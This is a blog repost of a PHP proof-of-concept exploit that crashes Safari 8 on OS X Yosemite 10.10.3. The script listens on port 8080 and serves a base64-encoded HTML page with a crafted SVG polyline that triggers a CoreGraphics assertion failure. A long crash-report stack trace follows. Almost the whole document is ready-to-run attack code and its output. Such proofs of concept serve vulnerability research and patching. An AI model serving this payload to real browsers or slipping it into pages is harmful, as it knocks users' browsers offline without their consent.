Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863538368

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/php
<?php
# Title          :  Safari 8.0.X / OS X Yosemite 10.10.3 Crash Proof Of 
Concept
# Product Website:  https://www.apple.com/safari/
# Author         :  Mohammad Reza Espargham
# Linkedin       :  https://ir.linkedin.com/in/rezasp
# E-Mail         :  me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website        :  www.reza.es
# Twitter        :  https://twitter.com/rezesp
# FaceBook       :  https://www.facebook.com/mohammadreza.espargham



# Usage :
# php poc.php
# Open Safari and open ip:8080 / 127.0.0.1:8080
# Crashed ;)

#Main POC Code
$reza = socket_create(AF_INET, SOCK_STREAM, 0) or die('Failed to create 
socket!');
socket_bind($reza, 0,8080);
socket_listen($reza);
print "\nNow Open Safari and open ip:8080 / 127.0.0.1:8080\n\n";
$msg = 
'PGh0bWw+CjxzdHlsZT4Kc3ZnIHsKICAgIHBhZGRpbmctdG9wOiAxMzk0JTsKICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7Cn0KPC9zdHlsZT4KPHN2ZyB2aWV3Qm94PSIxIDIgNTAwIDUwMCIgd2lkdGg9IjkwMCIgaGVpZ2h0PSI5MDAiPgo8cG9seWxpbmUgcG9pbnRzPSIxIDEsMiAyIj48L3BvbHlsaW5lPgo8L3N2Zz4KPC9odG1sPg==';
$msgd=base64_decode($msg);
for (;;) {
         if ($client = @socket_accept($reza)) {
             socket_write($client, "HTTP/1.1 200 OK\r\n" .
             "Content-length: " . strlen($msgd) . "\r\n" .
             "Content-Type: text/html; charset=UTF-8\r\n\r\n" .
             $msgd);
         }
         else usleep(100000);
}





#Crash Report
/*

Process Model:
Multiple Web Processes


Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   libsystem_kernel.dylib        	0x00007fff8e628286 __pthread_kill + 
10
1   libsystem_c.dylib             	0x00007fff90619b53 abort + 129
2   libsystem_c.dylib             	0x00007fff905e1c39 __assert_rtn + 321
3   com.apple.CoreGraphics        	0x00007fff87716e4e 
CGPathCreateMutableCopyByTransformingPath + 242
4   com.apple.CoreGraphics        	0x00007fff8773aff0 CGContextAddPath + 
93
5   com.apple.WebCore             	0x0000000104ea8c84 
WebCore::GraphicsContext::fillPath(WebCore::Path const&) + 148
6   com.apple.WebCore             	0x000000010597e851 
WebCore::RenderSVGResourceSolidColor::postApplyResource(WebCore::RenderElement&, 
WebCore::GraphicsContext*&, unsigned short, WebCore::Path const*, 
WebCore::RenderSVGShape const*) + 65
7   com.apple.WebCore             	0x000000010597f08a 
WebCore::RenderSVGShape::fillShape(WebCore::RenderStyle const&, 
WebCore::GraphicsContext*) + 122
8   com.apple.WebCore             	0x000000010597f3c3 
WebCore::RenderSVGShape::fillStrokeMarkers(WebCore::PaintInfo&) + 131
9   com.apple.WebCore             	0x0000000104fa73cb 
WebCore::RenderSVGShape::paint(WebCore::PaintInfo&, WebCore::LayoutPoint 
const&) + 379
10  com.apple.WebCore             	0x0000000104fa7062 
WebCore::RenderSVGRoot::paintReplaced(WebCore::PaintInfo&, 
WebCore::LayoutPoint const&) + 1330
11  com.apple.WebCore             	0x0000000104f1ee72 
WebCore::RenderReplaced::paint(WebCore::PaintInfo&, WebCore::LayoutPoint 
const&) + 722
12  com.apple.WebCore             	0x0000000105429e88 
WebCore::InlineElementBox::paint(WebCore::PaintInfo&, 
WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) + 
312
13  com.apple.WebCore             	0x0000000104ea4a63 
WebCore::InlineFlowBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint 
const&, WebCore::LayoutUnit, WebCore::LayoutUnit) + 1251
14  com.apple.WebCore             	0x0000000104ea4509 
WebCore::RootInlineBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint 
const&, WebCore::LayoutUnit, WebCore::LayoutUnit) + 89
15  com.apple.WebCore             	0x0000000104e53d96 
WebCore::RenderLineBoxList::paint(WebCore::RenderBoxModelObject*, 
WebCore::PaintInfo&, WebCore::LayoutPoint const&) const + 694
16  com.apple.WebCore             	0x0000000104e51373 
WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, 
WebCore::LayoutPoint const&) + 67
17  com.apple.WebCore             	0x0000000104e50724 
WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, 
WebCore::LayoutPoint const&) + 420
18  com.apple.WebCore             	0x0000000104e529af 
WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint 
const&) + 287
19  com.apple.WebCore             	0x00000001058db139 
WebCore::RenderBlock::paintChild(WebCore::RenderBox&, 
WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, 
bool) + 393
20  com.apple.WebCore             	0x0000000104e51478 
WebCore::RenderBlock::paintChildren(WebCore::PaintInfo&, 
WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 72
21  com.apple.WebCore             	0x0000000104e51420 
WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, 
WebCore::LayoutPoint const&) + 240
22  com.apple.WebCore             	0x0000000104e50724 
WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, 
WebCore::LayoutPoint const&) + 420
23  com.apple.WebCore             	0x0000000104e529af 
WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint 
const&) + 287
24  com.apple.WebCore             	0x0000000104e512b2 
WebCore::RenderLayer::paintForegroundForFragmentsWithPhase(WebCore::PaintPhase, 
WTF::Vector<WebCore::LayerFragment, 1ul, WTF::CrashOnOverflow> const&, 
WebCore::GraphicsContext*, WebCore::RenderLayer::LayerPaintingInfo 
const&, unsigned int, WebCore::RenderObject*) + 370
25  com.apple.WebCore             	0x0000000104e50f87 
WebCore::RenderLayer::paintForegroundForFragments(WTF::Vector<WebCore::LayerFragment, 
1ul, WTF::CrashOnOverflow> const&, WebCore::GraphicsContext*, 
WebCore::GraphicsContext*, WebCore::LayoutRect const&, bool, 
WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int, 
WebCore::RenderObject*, bool, bool) + 423
26  com.apple.WebCore             	0x0000000104e4fc30 
WebCore::RenderLayer::paintLayerContents(WebCore::GraphicsContext*, 
WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) + 2576
27  com.apple.WebCore             	0x0000000104e4f002 
WebCore::RenderLayer::paintLayer(WebCore::GraphicsContext*, 
WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) + 1010
28  com.apple.WebCore             	0x0000000104e4fd62 
WebCore::RenderLayer::paintLayerContents(WebCore::GraphicsContext*, 
WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) + 2882
29  com.apple.WebCore             	0x0000000104e7ac36 
WebCore::RenderLayerBacking::paintIntoLayer(WebCore::GraphicsLayer 
const*, WebCore::GraphicsContext*, WebCore::IntRect const&, unsigned 
int, unsigned int) + 358
30  com.apple.WebCore             	0x000000010593757f 
WebCore::RenderLayerBacking::paintContents(WebCore::GraphicsLayer 
const*, WebCore::GraphicsContext&, unsigned int, WebCore::FloatRect 
const&) + 799
31  com.apple.WebCore             	0x000000010537dd44 
WebCore::GraphicsLayer::paintGraphicsLayerContents(WebCore::GraphicsContext&, 
WebCore::FloatRect const&) + 132
32  com.apple.WebCore             	0x00000001058b6ad9 
WebCore::PlatformCALayer::drawLayerContents(CGContext*, 
WebCore::PlatformCALayer*, WTF::Vector<WebCore::FloatRect, 5ul, 
WTF::CrashOnOverflow>&) + 361
33  com.apple.WebCore             	0x0000000105b170a7 
WebCore::TileGrid::platformCALayerPaintContents(WebCore::PlatformCALayer*, 
WebCore::GraphicsContext&, WebCore::FloatRect const&) + 167
34  com.apple.WebCore             	0x0000000105ba36cc -[WebSimpleLayer 
drawInContext:] + 172
35  com.apple.QuartzCore          	0x00007fff8d7033c7 
CABackingStoreUpdate_ + 3306
36  com.apple.QuartzCore          	0x00007fff8d7026d7 
___ZN2CA5Layer8display_Ev_block_invoke + 59
37  com.apple.QuartzCore          	0x00007fff8d702694 
x_blame_allocations + 81
38  com.apple.QuartzCore          	0x00007fff8d6f643c 
CA::Layer::display_() + 1546
39  com.apple.WebCore             	0x0000000105ba35eb -[WebSimpleLayer 
display] + 43
40  com.apple.QuartzCore          	0x00007fff8d6f47fd 
CA::Layer::display_if_needed(CA::Transaction*) + 603
41  com.apple.QuartzCore          	0x00007fff8d6f3e81 
CA::Layer::layout_and_display_if_needed(CA::Transaction*) + 35
42  com.apple.QuartzCore          	0x00007fff8d6f3612 
CA::Context::commit_transaction(CA::Transaction*) + 242
43  com.apple.QuartzCore          	0x00007fff8d6f33ae 
CA::Transaction::commit() + 390
44  com.apple.QuartzCore          	0x00007fff8d701f19 
CA::Transaction::observer_callback(__CFRunLoopObserver*, unsigned long, 
void*) + 71
45  com.apple.CoreFoundation      	0x00007fff869f7127 
__CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ + 23
46  com.apple.CoreFoundation      	0x00007fff869f7080 
__CFRunLoopDoObservers + 368
47  com.apple.CoreFoundation      	0x00007fff869e8bf8 
CFRunLoopRunSpecific + 328
48  com.apple.HIToolbox           	0x00007fff8df1156f 
RunCurrentEventLoopInMode + 235
49  com.apple.HIToolbox           	0x00007fff8df112ea 
ReceiveNextEventCommon + 431
50  com.apple.HIToolbox           	0x00007fff8df1112b 
_BlockUntilNextEventMatchingListInModeWithFilter + 71
51  com.apple.AppKit              	0x00007fff8ebe59bb _DPSNextEvent + 
978
52  com.apple.AppKit              	0x00007fff8ebe4f68 -[NSApplication 
nextEventMatchingMask:untilDate:inMode:dequeue:] + 346
53  com.apple.AppKit              	0x00007fff8ebdabf3 -[NSApplication 
run] + 594
54  com.apple.AppKit              	0x00007fff8eb57354 NSApplicationMain 
+ 1832
55  libxpc.dylib                  	0x00007fff8ab77958 _xpc_objc_main + 
793
56  libxpc.dylib                  	0x00007fff8ab79060 xpc_main + 490
57  com.apple.WebKit.WebContent   	0x0000000103f10b40 0x103f10000 + 2880
58  libdyld.dylib                 	0x00007fff873e45c9 start + 1
*/
?>